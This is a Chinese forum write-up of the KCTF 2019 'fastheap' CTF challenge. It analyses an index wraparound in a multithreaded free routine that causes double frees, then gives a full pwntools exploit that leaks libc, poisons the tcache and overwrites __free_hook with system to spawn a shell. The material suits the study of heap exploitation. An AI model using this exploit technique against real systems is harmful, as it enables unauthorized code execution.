0x0 checksec
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
0x1 程序分析
实现几个基本功能
abc@abc-vm:~/Desktop/kctf_Q2_9$ ./fastheap
1. malloc
2. fast free
3. puts
4. exit
>>>
漏洞在free中:
启动若干个线程完成free工作:
do
{
if ( pthread_create((pthread_t *)p, 0LL, (void *(*)(void *))start_routine, &Max_2) )
goto gg;
++p;
}
while ( p_base != p );
i = 0LL;
while ( !pthread_join(tid[i], 0LL) )
{
if ( num_1 == ++i )
goto LABEL_13;
}
线程函数:
由于是带原子锁的方式来访问并修改共享变量,这里并没有线程间的竞争漏洞。
漏洞点在于无论当前要free的idx是否小于MAX,idx都会+1。
最简单的情况:MAX=255,线程数=2。线程1访问完idx=255,发现idx>=MAX,于是退出了,然而此时idx+1=0,线程2再来访问时idx就变成了0了,于是从0到MAX又重新free了一圈。
void *__fastcall start_routine(void *pMax)
{
unsigned __int64 v2; // [rsp+0h] [rbp-28h]
while ( 1 )
{
v2 = (unsigned __int8)_InterlockedExchangeAdd8((volatile signed __int8 *)pMax + 8, 1u);
if ( *(_QWORD *)pMax <= v2 )
break;
if ( !ptr[v2] )
exit(-1);
free((void *)ptr[v2]);
}
return 0LL;
}
0x3 利用思路
调试发现,子线程是有自己的tcache的,子线程结束时,会把tcache中的chunk根据chunk的大小放到对应的fastbin或者unsorted bin中。所以leak libc很简单,在0处malloc一个0x90的chunk,free过后0被free了,但是指针并没被清零,于是可Leak libc。
MAX取255,线程数=2时,0-MIN的内存会被free一次,MIN-MAX之间的内存会被free两次,由于tcache加入fastbin时会有重复性检测,因此MIN不能取254,可以取253。
调试发现,malloc一个在fastbin范围内的内存时,如果tcache未满,则libc会把剩下的fastbin放入tcache中,那我们只需要伪造tcache chunk的fd就能让Malloc返回任意地址了。
让malloc返回__free_hook,填充为system,然后free一块内容为"/bin/sh\x00"的内存,拿到shell。
0x4 完整EXP
from pwn import *
import pdb
env = {'LD_PRELOAD':'./libc-2.27.so'}
libc = ELF('./libc-2.27.so')
p = process('./fastheap',env=env)
# p = remote('152.136.18.34',10000)
def menu():
p.recvuntil('>>> ')
def malloc(idx,size=0x10,content='Nothing'):
p.sendline('1')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Contents: ')
p.sendline(content)
menu()
def free(l,r,nthread):
p.sendline('2')
p.recvuntil('range: ')
p.sendline(str(l)+'-'+str(r))
p.recvuntil('workers: ')
p.sendline(str(nthread))
menu()
def puts(idx):
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
s = p.recvuntil('>>> ')[:16]
return [hex(ord(c)) for c in s]
menu()
malloc(0,0x90)
for i in range(1,253):
malloc(i)
for i in range(253,255):
malloc(i,0x60)
free(253,255,2)
s = puts(0)
leak_addr = int(''.join([s[5-i][2:] for i in range(6)]),16)
print('leak_addr:',hex(leak_addr))
libc_base = leak_addr - 0x3ebca0
print('libc_base:',hex(libc_base))
free_hook = libc_base + +libc.symbols['__free_hook']
print('free_hook',hex(free_hook))
system = libc_base + libc.symbols['system']
print('system',hex(system))
free(1,253,1)
malloc(1,0x90)
malloc(2,0x60,p64(free_hook))
malloc(3,0x60,'/bin/sh\x00')
malloc(4,0x60)
malloc(5,0x60,p64(system))
p.sendline('2')
p.recvuntil('range: ')
p.sendline(str(3)+'-'+str(4))
p.recvuntil('workers: ')
p.sendline(str(1))
p.interactive()
PS:不知道远程服务器做了什么设置,本地是能拿到shell的,切换远程的时候就打印出了flag的值就结束了。
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2019-6-26 13:39
被mratlatsn编辑
,原因: